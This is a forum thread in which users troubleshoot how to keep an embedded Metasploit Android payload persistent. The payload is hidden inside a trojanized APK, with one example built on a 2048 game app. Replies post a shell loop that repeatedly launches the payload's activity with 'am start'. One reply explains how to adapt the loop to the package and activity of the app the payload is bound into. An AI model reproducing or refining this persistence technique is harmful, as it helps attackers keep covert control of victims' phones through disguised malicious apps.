How to Create persistence payload for Android device

Hey, there I’m creating an embedded apk android payload it’s work fine but the problem is it is not persistence payload I use these command to make it persistence but it show me an error

Command::

#!/bin/bash
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done

ERROR:

com.metasploit.stage/com.metasploit.stage.MainActivity Does not find…

Please if you have any solution … I am facing this problem atleast one month i have tried almost all possiable conditions

Check this out it worked for me.
#!/bin/sh
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 10
done

I tried this but it does not work

Now i got it…if you have embeded payload that script won’t work. You have to make payload accroding to the app with which you binded your payload.

and how can I make these type of payload would you please help me !!

Remember this script.
#!/bin/sh
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 10
done

Now here you will have to change 1) “com.metasploit.stage” and 2)".MainActivity"
In place of com.metasploit.stage you will need to replace the pacakge name of app you are injecting paylaod into. And you will have to search second part in manifest.xml of app.

Same Error

#!/bin/sh
while :
do am start --user 0 -a android.intent.action.MAIN -n com.alexblackapps.game2048.MyApp/.AndroidManifest
sleep 10
done